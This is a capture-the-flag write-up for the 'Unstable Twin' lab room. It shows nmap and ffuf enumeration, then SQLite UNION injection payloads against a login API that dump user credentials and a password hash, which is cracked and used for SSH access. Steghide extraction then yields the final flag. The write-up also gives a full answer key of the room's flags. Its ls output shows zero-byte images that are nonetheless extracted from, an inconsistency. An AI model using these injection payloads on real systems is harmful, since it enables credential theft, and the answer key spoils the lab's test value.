1243 words
6 minutes
Unstable Twin

Unstable Twin#

A services based room that hides information inside HTTP services. We need to find the keys and bring the family back together

Task 1: Unstable Twin#

Story recap: Julius and Vincent deployed two services. One of them is broken. We must find clues, recover credentials, and get the flags.

Answers (quick view)#

  1. Build number (Vincent): 1.3.4-dev
  2. Build number (Julius): 1.3.6-final
  3. Number of users: 5
  4. Vincent’s color: Orange
  5. Mary Ann SSH password: experiment
  6. User flag: THM{Mary_Ann_notes}
  7. Final flag: THM{The_Family_Is_Back_Together}

Step 1: Scan the target#

We run Nmap to see open ports and services. This tells us what to attack first.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ nmap -sC -sV -sS -v 10.66.153.113
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http nginx 1.14.1

Result: SSH and HTTP are open. We start with HTTP because it usually gives hints and easier entry points.

Nmap scan

Step 2: Find web paths with ffuf#

ffuf root scan

We brute force common directories to discover hidden endpoints.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ ffuf -u http://10.66.153.113/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
info [Status: 200, Size: 160, Words: 31, Lines: 2]

ffuf POST scan

We also try POST because some APIs only answer to POST.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ ffuf -u http://10.66.153.113/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -X POST
...
api [Status: 405, Size: 178, Words: 20, Lines: 5]
info [Status: 405, Size: 178, Words: 20, Lines: 5]

The /api path exists, but it blocks POST at this level. We enumerate inside it.

ffuf /api scan

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ ffuf -u http://10.66.153.113/api/FUZZ -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
...
login [Status: 405, Size: 178, Words: 20, Lines: 5]

Step 3: Check /info#

info headers

We call /info to read headers. The response tells us the build number and server name.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -v http://10.66.153.113/info
* Trying 10.66.153.113:80...
* Established connection to 10.66.153.113 (10.66.153.113 port 80) from 192.168.183.99 port 53636
* using HTTP/1.x
> GET /info HTTP/1.1
> Host: 10.66.153.113
> User-Agent: curl/8.18.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.14.1
< Date: Wed, 18 Feb 2026 01:18:13 GMT
< Content-Type: application/json
< Content-Length: 160
< Connection: keep-alive
< Build Number: 1.3.4-dev
< Server Name: Vincent
<
"The login API needs to be called with the username and password form fields fields. It has not been fully tested yet so may not be full developed and secure"
* Connection #0 to host 10.66.153.113:80 left intact

This gives the answer for Vincent’s build number and tells us which server we are talking to

Step 4: Test the login API#

We try /api/login with POST and basic credentials. The server responds with inconsistent output. That hints at two different backend services

login API responses

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin&password=password"
"The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin&password=password"
[]

Sometimes it returns HTML errors, sometimes JSON. That means requests are hitting different services behind a load balancer

Step 5: SQL injection in the login API#

SQLi proof

We test for SQL injection. The API returns SQLite version, which confirms SQLi.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,sqlite_version(); -- -&password=admin"
"The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,sqlite_version(); -- -&password=admin"
[
[
1,
"3.26.0"
]
]

Now we enumerate tables and users.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,tbl_name FROM sqlite_master; -- -&password=admin"
"The username or password passed are not correct."
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,tbl_name FROM sqlite_master; -- -&password=admin"
[
[
1,
"notes"
],
[
1,
"sqlite_sequence"
],
[
1,
"users"
]
]

We list users and colors (passwords in this case are colors).

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT username,password FROM users; -- -&password=admin"
[
[
"julias",
"Red"
],
[
"linda",
"Green"
],
[
"marnie",
"Yellow "
],
[
"mary_ann",
"continue..."
],
[
"vincent",
"Orange"
]
]

Now we know there are 5 users and Vincent’s color is Orange

Step 6: Read notes table#

We dump the notes and find a hash for Mary Ann’s password.

Terminal window
╭─cat0x01 at cat0x01 in ~
╰─○ curl -X POST http://10.66.153.113/api/login -d "username=admin' UNION SELECT 1,group_concat(notes) from notes; -- -&password=admin"
[
[
1,
"I have left my notes on the server. They will me help get the family back together. ,My Password is eaf0651dabef9c7de8a70843030924d335a2a8ff5fd1b13c4cb099e66efe25ecaa607c4b7dd99c43b0c01af669c90fd6a14933422cf984324f645b84427343f4\n"
]
]

notes hash

We crack the hash using CrackStation. The password is experiment.

Step 7: SSH to Mary Ann and get the user flag#

We use the password and login via SSH. Inside, we read the user flag.

user flag

We also read server_notes.txt for instructions. It says to collect images by name.

server notes

Step 8: Inspect application files#

We list /opt/unstabletwin and find two Flask apps. This explains the unstable responses.

/opt/unstabletwin listing

One app (port 5000) is Julius with build 1.3.6-final, and the other (port 5001) is Vincent with build 1.3.4-dev

Step 9: Download images from /get_image#

The notes say to collect images by name. We call the endpoint with each family member name.

Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=vincent" -o vincent.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=vincent" -o vincent.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=julias" -o julias.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=julias" -o julias.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=mary_ann" -o mary_ann.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=marnie" -o marnie.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=marnie" -o marnie.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=linda" -o linda.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○ curl -s http://unstabletwin.thm/get_image --get -d "name=linda" -o linda.jpg
╭─cat0x01 at cat0x01 in ~/images
╰─○
╭─cat0x01 at cat0x01 in ~/images
╰─○ ls -la
total 56
drwxrwxr-x 2 cat0x01 cat0x01 4096 Feb 18 02:33 .
drwx------ 64 cat0x01 cat0x01 4096 Feb 18 02:34 ..
-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 julias.jpg
-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:34 linda.jpg
-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 marnie.jpg
-rw-rw-r-- 1 cat0x01 cat0x01 47303 Feb 18 02:33 mary_ann.jpg
-rw-rw-r-- 1 cat0x01 cat0x01 0 Feb 18 02:33 vincent.jpg

Images downloaded for all five names

Step 10: Extract hidden text with steghide#

Each image hides a small string. We extract each one.

Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ steghide extract -sf mary_ann.jpg
wrote extracted data to "mary_ann.txt".
╭─cat0x01 at cat0x01 in ~/images
╰─○ cat mary_ann.txt
You need to find all my children and arrange in a rainbow!
Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ steghide extract -sf julias.jpg
wrote extracted data to "julias.txt".
╭─cat0x01 at cat0x01 in ~/images
╰─○ cat julias.txt
Red - 1DVsdb2uEE0k5HK4GAIZ
Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ steghide extract -sf vincent.jpg
wrote extracted data to "vincent.txt".
╭─cat0x01 at cat0x01 in ~/images
╰─○ cat vincent.txt
Orange - PS0Mby2jomUKLjvQ4OSw
Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ steghide --extract -sf linda.jpg
wrote extracted data to "linda.txt".
╭─cat0x01 at cat0x01 in ~/images
╰─○ cat linda.txt
Green - eVYvs6J6HKpZWPG8pfeHoNG1
Terminal window
╭─cat0x01 at cat0x01 in ~/images
╰─○ steghide --extract -sf marnie.jpg
wrote extracted data to "marnie.txt".
╭─cat0x01 at cat0x01 in ~/images
╰─○ cat marnie.txt
Yellow - jKLNAAeCdl2J8BCRuXVX

Step 11: Build the rainbow order#

We are told to arrange in a rainbow. We use the order: Red, Orange, Yellow, Green.

  • Red = julias = 1DVsdb2uEE0k5HK4GAIZ
  • Orange = vincent = PS0Mby2jomUKLjvQ4OSw
  • Yellow = marnie = jKLNAAeCdl2J8BCRuXVX
  • Green = linda = eVYvs6J6HKpZWPG8pfeHoNG1

Combine them in that order to get the final flag.

final image

Final flag#

THM{The_Family_Is_Back_Together}